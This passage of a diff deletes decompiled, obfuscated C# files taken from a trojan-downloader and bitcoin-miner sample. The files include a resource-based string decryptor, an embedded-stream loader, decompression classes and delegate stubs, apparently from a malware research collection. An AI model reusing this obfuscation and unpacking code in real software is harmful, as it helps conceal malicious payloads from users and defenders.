||||
return (Assembly) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,21 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .3
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0006;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0006
|
||||
{
|
||||
internal sealed class \u00063
|
||||
{
|
||||
internal static \u00063.\u0006 \u0001;
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
|
||||
private struct \u0006
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate bool \u0006\u0004([In] object obj0, [In] string obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0006\u0005([In] object obj0, [In] int obj1);
|
||||
@ -1,87 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0007;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0007
|
||||
{
|
||||
internal sealed class \u001A
|
||||
{
|
||||
internal static \u001A.\u001B \u0001;
|
||||
internal static \u001A.\u001C \u0002;
|
||||
internal static \u001A.\u001D \u0003;
|
||||
internal static \u001A.\u001E \u0004;
|
||||
internal static \u001A.\u001F \u0005;
|
||||
internal static \u001A.\u007F \u0006;
|
||||
internal static \u001A.\u0080 \u0007;
|
||||
internal static \u001A.\u0081 \u0008;
|
||||
internal static \u001A.\u0082 \u000E;
|
||||
internal static \u001A.\u0083 \u000F;
|
||||
internal static \u001A.\u0084 \u0010;
|
||||
internal static \u001A.\u0086 \u0011;
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 160, Pack = 1)]
|
||||
private struct \u001B
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
|
||||
private struct \u001C
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
|
||||
private struct \u001D
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
|
||||
private struct \u001E
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
|
||||
private struct \u001F
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
|
||||
private struct \u007F
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
|
||||
private struct \u0080
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
|
||||
private struct \u0081
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
|
||||
private struct \u0082
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
|
||||
private struct \u0083
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
|
||||
private struct \u0084
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
|
||||
private struct \u0086
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,58 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0007;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0007
|
||||
{
|
||||
[CompilerGenerated]
|
||||
internal sealed class \u0094\u0002
|
||||
{
|
||||
internal static \u0094\u0002.\u0095\u0002 \u0001;
|
||||
internal static \u0094\u0002.\u0096\u0002 \u0002;
|
||||
internal static \u0094\u0002.\u0097\u0002 \u0003;
|
||||
internal static \u0094\u0002.\u0098\u0002 \u0004;
|
||||
internal static \u0094\u0002.\u0099\u0002 \u0005;
|
||||
internal static \u0094\u0002.\u0099\u0002 \u0006;
|
||||
internal static \u0094\u0002.\u009A\u0002 \u0007;
|
||||
internal static \u0094\u0002.\u009A\u0002 \u0008;
|
||||
internal static \u0094\u0002.\u0096\u0002 \u000E;
|
||||
internal static \u0094\u0002.\u0096\u0002 \u000F;
|
||||
internal static \u0094\u0002.\u0097\u0002 \u0010;
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
|
||||
private struct \u0095\u0002
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
|
||||
private struct \u0096\u0002
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
|
||||
private struct \u0097\u0002
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
|
||||
private struct \u0098\u0002
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
|
||||
private struct \u0099\u0002
|
||||
{
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
|
||||
private struct \u009A\u0002
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate bool \u0007\u0003([In] object obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate Array \u0007\u0004([In] object obj0, [In] Type obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate string \u0007\u0005([In] object obj0, [In] string obj1);
|
||||
@ -1,11 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Reflection;
|
||||
using System.Reflection.Emit;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0008\u0003([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0008\u0004([In] object obj0, [In] byte[] obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
internal delegate void \u0008\u0005([In] object obj0, [In] SizeGripStyle obj1);
|
||||
@ -1,116 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0012;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u000E
|
||||
{
|
||||
internal sealed class \u0008
|
||||
{
|
||||
private static string \u0001 = "1";
|
||||
private static string \u0002 = "68";
|
||||
private static byte[] \u0003 = (byte[]) null;
|
||||
private static Hashtable \u0004 = (Hashtable) null;
|
||||
private static bool \u0005 = false;
|
||||
private static int \u0006 = 0;
|
||||
|
||||
public static string \u000E\u0003([In] int obj0)
|
||||
{
|
||||
obj0 -= \u0008.\u0006;
|
||||
if (\u0008.\u0005)
|
||||
{
|
||||
string str = (string) \u001E\u0003.\u007E\u000F\u0004((object) \u0008.\u0004, (object) obj0);
|
||||
if (str != null)
|
||||
return str;
|
||||
}
|
||||
int num1 = obj0;
|
||||
byte[] numArray1 = \u0008.\u0003;
|
||||
int index1 = num1;
|
||||
int num2 = index1 + 1;
|
||||
int num3 = (int) numArray1[index1];
|
||||
int num4;
|
||||
if ((num3 & 128) == 0)
|
||||
{
|
||||
num4 = num3;
|
||||
if (num4 == 0)
|
||||
return string.Empty;
|
||||
}
|
||||
else if ((num3 & 64) == 0)
|
||||
{
|
||||
num4 = ((num3 & 63) << 8) + (int) \u0008.\u0003[num2++];
|
||||
}
|
||||
else
|
||||
{
|
||||
int num5 = (num3 & 31) << 24;
|
||||
byte[] numArray2 = \u0008.\u0003;
|
||||
int index2 = num2;
|
||||
int num6 = index2 + 1;
|
||||
int num7 = (int) numArray2[index2] << 16;
|
||||
int num8 = num5 + num7;
|
||||
byte[] numArray3 = \u0008.\u0003;
|
||||
int index3 = num6;
|
||||
int num9 = index3 + 1;
|
||||
int num10 = (int) numArray3[index3] << 8;
|
||||
int num11 = num8 + num10;
|
||||
byte[] numArray4 = \u0008.\u0003;
|
||||
int index4 = num9;
|
||||
num2 = index4 + 1;
|
||||
int num12 = (int) numArray4[index4];
|
||||
num4 = num11 + num12;
|
||||
}
|
||||
try
|
||||
{
|
||||
byte[] numArray5 = \u000E\u0003.\u0019\u0003(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), \u0008.\u0003, num2, num4));
|
||||
string str = \u0084\u0004.\u0080\u0002(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), numArray5, 0, numArray5.Length));
|
||||
if (\u0008.\u0005)
|
||||
{
|
||||
try
|
||||
{
|
||||
\u0080\u0004.\u007E\u0008\u0004((object) \u0008.\u0004, (object) obj0, (object) str);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return str;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (string) null;
|
||||
}
|
||||
}
|
||||
|
||||
static \u0008()
|
||||
{
|
||||
if (\u0080\u0005.\u0001\u0002(\u0008.\u0001, "1"))
|
||||
{
|
||||
\u0008.\u0005 = true;
|
||||
\u0008.\u0004 = new Hashtable();
|
||||
}
|
||||
\u0008.\u0006 = \u008D\u0003.\u0017\u0003(\u0008.\u0002);
|
||||
Assembly assembly = \u0015\u0003.\u001B\u0004();
|
||||
Stream stream = \u000E\u0005.\u007E\u0015\u0004((object) assembly, "{658bfc85-36e1-493d-98e6-ae9127d73d60}");
|
||||
try
|
||||
{
|
||||
int length = \u0087\u0003.\u0016\u0003(\u007F\u0004.\u007E\u0003\u0005((object) stream));
|
||||
byte[] numArray = new byte[(int) checked ((uint) length)];
|
||||
int num = \u0089\u0005.\u007E\u000F\u0005((object) stream, numArray, 0, length);
|
||||
\u0008.\u0003 = \u0011.\u000F\u0003(numArray);
|
||||
\u0093\u0003.\u007E\u0006\u0005((object) stream);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (stream != null)
|
||||
\u0093\u0003.\u007E\u009E((object) stream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,132 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u000E\u0002;
|
||||
using \u0017\u0002;
|
||||
using ICSharpCode.SharpZipLib;
|
||||
using ICSharpCode.SharpZipLib.Zip;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u000E\u0002
|
||||
{
|
||||
internal sealed class \u0008\u0002 : Stream
|
||||
{
|
||||
protected \u0013 \u0001;
|
||||
protected \u0016\u0002 \u0002;
|
||||
private Stream \u0003;
|
||||
private bool \u0004;
|
||||
private bool \u0005 = true;
|
||||
|
||||
public \u0008\u0002([In] Stream obj0, [In] \u0013 obj1)
|
||||
: this(obj0, obj1, 4096)
|
||||
{
|
||||
}
|
||||
|
||||
public \u0008\u0002([In] Stream obj0, [In] \u0013 obj1, [In] int obj2)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(1426));
|
||||
if (obj1 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(1447));
|
||||
if (obj2 <= 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(1460));
|
||||
this.\u0003 = obj0;
|
||||
this.\u0001 = obj1;
|
||||
this.\u0002 = new \u0016\u0002(obj0, obj2);
|
||||
}
|
||||
|
||||
protected void \u009C\u0003()
|
||||
{
|
||||
if (this.\u0002.\u0086\u0004() <= 0)
|
||||
goto label_3;
|
||||
label_2:
|
||||
this.\u0002.\u0087\u0004(this.\u0001);
|
||||
return;
|
||||
label_3:
|
||||
this.\u0002.\u009C\u0003();
|
||||
if (this.\u0002.\u0086\u0004() <= 0)
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(1477));
|
||||
goto label_2;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0003);
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanSeek() => false;
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanWrite() => false;
|
||||
|
||||
[SpecialName]
|
||||
public override long get_Length() => (long) this.\u0002.\u0084\u0004();
|
||||
|
||||
[SpecialName]
|
||||
public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0003);
|
||||
|
||||
[SpecialName]
|
||||
public override void set_Position([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1498));
|
||||
|
||||
public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0003);
|
||||
|
||||
public override long Seek([In] long obj0, [In] SeekOrigin obj1) => throw new NotSupportedException(\u0008.\u000E\u0003(1555));
|
||||
|
||||
public override void SetLength([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1580));
|
||||
|
||||
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotSupportedException(\u0008.\u000E\u0003(1641));
|
||||
|
||||
public override void WriteByte([In] byte obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1694));
|
||||
|
||||
public override IAsyncResult BeginWrite(
|
||||
[In] byte[] obj0,
|
||||
[In] int obj1,
|
||||
[In] int obj2,
|
||||
[In] AsyncCallback obj3,
|
||||
[In] object obj4)
|
||||
{
|
||||
throw new NotSupportedException(\u0008.\u000E\u0003(1755));
|
||||
}
|
||||
|
||||
public override void Close()
|
||||
{
|
||||
if (this.\u0004)
|
||||
return;
|
||||
this.\u0004 = true;
|
||||
if (!this.\u0005)
|
||||
return;
|
||||
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0003);
|
||||
}
|
||||
|
||||
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
if (this.\u0001.\u008B\u0004())
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(1816));
|
||||
int num1 = obj2;
|
||||
int num2;
|
||||
do
|
||||
{
|
||||
num2 = this.\u0001.\u0012\u0003(obj0, obj1, num1);
|
||||
obj1 += num2;
|
||||
num1 -= num2;
|
||||
if (num1 != 0 && !this.\u0001.\u008C\u0004())
|
||||
{
|
||||
if (this.\u0001.\u0018\u0003())
|
||||
this.\u009C\u0003();
|
||||
}
|
||||
else
|
||||
goto label_8;
|
||||
}
|
||||
while (num2 != 0);
|
||||
throw new ZipException(\u0008.\u000E\u0003(1841));
|
||||
label_8:
|
||||
return obj2 - num1;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,110 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u000E\u0002
|
||||
{
|
||||
internal sealed class \u0014
|
||||
{
|
||||
private byte[] \u0001;
|
||||
private int \u0002;
|
||||
private int \u0003;
|
||||
private uint \u0004;
|
||||
private int \u0005;
|
||||
|
||||
public int \u0013\u0003([In] int obj0)
|
||||
{
|
||||
if (this.\u0005 < obj0)
|
||||
goto label_4;
|
||||
label_3:
|
||||
return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1));
|
||||
label_4:
|
||||
if (this.\u0002 == this.\u0003)
|
||||
return -1;
|
||||
this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005);
|
||||
this.\u0005 += 16;
|
||||
goto label_3;
|
||||
}
|
||||
|
||||
public void \u0014\u0003([In] int obj0)
|
||||
{
|
||||
this.\u0004 >>= obj0;
|
||||
this.\u0005 -= obj0;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public int \u0015\u0003() => this.\u0005;
|
||||
|
||||
[SpecialName]
|
||||
public int \u0016\u0003() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3);
|
||||
|
||||
public void \u0017\u0003()
|
||||
{
|
||||
this.\u0004 >>= this.\u0005 & 7;
|
||||
this.\u0005 &= -8;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public bool \u0018\u0003() => this.\u0002 == this.\u0003;
|
||||
|
||||
public int \u0019\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
if (obj2 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(3156));
|
||||
if ((this.\u0005 & 7) != 0)
|
||||
throw new InvalidOperationException(\u0008.\u000E\u0003(3165));
|
||||
int num1 = 0;
|
||||
while (this.\u0005 > 0 && obj2 > 0)
|
||||
{
|
||||
obj0[obj1++] = (byte) this.\u0004;
|
||||
this.\u0004 >>= 8;
|
||||
this.\u0005 -= 8;
|
||||
--obj2;
|
||||
++num1;
|
||||
}
|
||||
if (obj2 == 0)
|
||||
return num1;
|
||||
int num2 = this.\u0003 - this.\u0002;
|
||||
if (obj2 > num2)
|
||||
obj2 = num2;
|
||||
\u008F\u0003.\u0098((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2);
|
||||
this.\u0002 += obj2;
|
||||
if ((this.\u0002 - this.\u0003 & 1) != 0)
|
||||
{
|
||||
this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue;
|
||||
this.\u0005 = 8;
|
||||
}
|
||||
return num1 + obj2;
|
||||
}
|
||||
|
||||
public void \u001A\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
|
||||
if (obj1 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(2972));
|
||||
if (obj2 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(2972));
|
||||
if (this.\u0002 < this.\u0003)
|
||||
throw new InvalidOperationException(\u0008.\u000E\u0003(3210));
|
||||
int num = obj1 + obj2;
|
||||
if (obj1 > num || num > obj0.Length)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611));
|
||||
if ((obj2 & 1) != 0)
|
||||
{
|
||||
this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005);
|
||||
this.\u0005 += 8;
|
||||
}
|
||||
this.\u0001 = obj0;
|
||||
this.\u0002 = obj1;
|
||||
this.\u0003 = num;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,116 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u000E\u0002;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u000E\u0002
|
||||
{
|
||||
internal sealed class \u0015
|
||||
{
|
||||
private byte[] \u0001 = new byte[32768];
|
||||
private int \u0002;
|
||||
private int \u0003;
|
||||
|
||||
public void Write([In] int obj0)
|
||||
{
|
||||
\u0015 obj = this;
|
||||
int num1;
|
||||
int num2 = num1 = obj.\u0003;
|
||||
obj.\u0003 = num1 + 1;
|
||||
if (num2 == 32768)
|
||||
throw new InvalidOperationException(\u0008.\u000E\u0003(3139));
|
||||
this.\u0001[this.\u0002++] = (byte) obj0;
|
||||
this.\u0002 &= (int) short.MaxValue;
|
||||
}
|
||||
|
||||
private void \u001B\u0003([In] int obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
while (obj1-- > 0)
|
||||
{
|
||||
byte[] numArray = this.\u0001;
|
||||
\u0015 obj = this;
|
||||
int num1;
|
||||
int num2 = num1 = obj.\u0002;
|
||||
obj.\u0002 = num1 + 1;
|
||||
int index = num2;
|
||||
int num3 = (int) this.\u0001[obj0++];
|
||||
numArray[index] = (byte) num3;
|
||||
this.\u0002 &= (int) short.MaxValue;
|
||||
obj0 &= (int) short.MaxValue;
|
||||
}
|
||||
}
|
||||
|
||||
public void \u001C\u0003([In] int obj0, [In] int obj1)
|
||||
{
|
||||
if ((this.\u0003 += obj0) > 32768)
|
||||
throw new InvalidOperationException(\u0008.\u000E\u0003(3139));
|
||||
int num1 = this.\u0002 - obj1 & (int) short.MaxValue;
|
||||
int num2 = 32768 - obj0;
|
||||
if (num1 <= num2 && this.\u0002 < num2)
|
||||
{
|
||||
if (obj0 <= obj1)
|
||||
{
|
||||
\u008F\u0003.\u0098((Array) this.\u0001, num1, (Array) this.\u0001, this.\u0002, obj0);
|
||||
this.\u0002 += obj0;
|
||||
}
|
||||
else
|
||||
{
|
||||
while (obj0-- > 0)
|
||||
this.\u0001[this.\u0002++] = this.\u0001[num1++];
|
||||
}
|
||||
}
|
||||
else
|
||||
this.\u001B\u0003(num1, obj0, obj1);
|
||||
}
|
||||
|
||||
public int \u001D\u0003([In] \u0014 obj0, [In] int obj1)
|
||||
{
|
||||
obj1 = \u0013\u0005.\u0087\u0003(\u0013\u0005.\u0087\u0003(obj1, 32768 - this.\u0003), obj0.\u0016\u0003());
|
||||
int num1 = 32768 - this.\u0002;
|
||||
int num2;
|
||||
if (obj1 > num1)
|
||||
{
|
||||
num2 = obj0.\u0019\u0003(this.\u0001, this.\u0002, num1);
|
||||
if (num2 == num1)
|
||||
num2 += obj0.\u0019\u0003(this.\u0001, 0, obj1 - num1);
|
||||
}
|
||||
else
|
||||
num2 = obj0.\u0019\u0003(this.\u0001, this.\u0002, obj1);
|
||||
this.\u0002 = this.\u0002 + num2 & (int) short.MaxValue;
|
||||
this.\u0003 += num2;
|
||||
return num2;
|
||||
}
|
||||
|
||||
public int \u001E\u0003() => 32768 - this.\u0003;
|
||||
|
||||
public int \u001F\u0003() => this.\u0003;
|
||||
|
||||
public int \u007F\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
int num1 = this.\u0002;
|
||||
if (obj2 > this.\u0003)
|
||||
obj2 = this.\u0003;
|
||||
else
|
||||
num1 = this.\u0002 - this.\u0003 + obj2 & (int) short.MaxValue;
|
||||
int num2 = obj2;
|
||||
int num3 = obj2 - num1;
|
||||
if (num3 > 0)
|
||||
{
|
||||
\u008F\u0003.\u0098((Array) this.\u0001, 32768 - num3, (Array) obj0, obj1, num3);
|
||||
obj1 += num3;
|
||||
obj2 = num1;
|
||||
}
|
||||
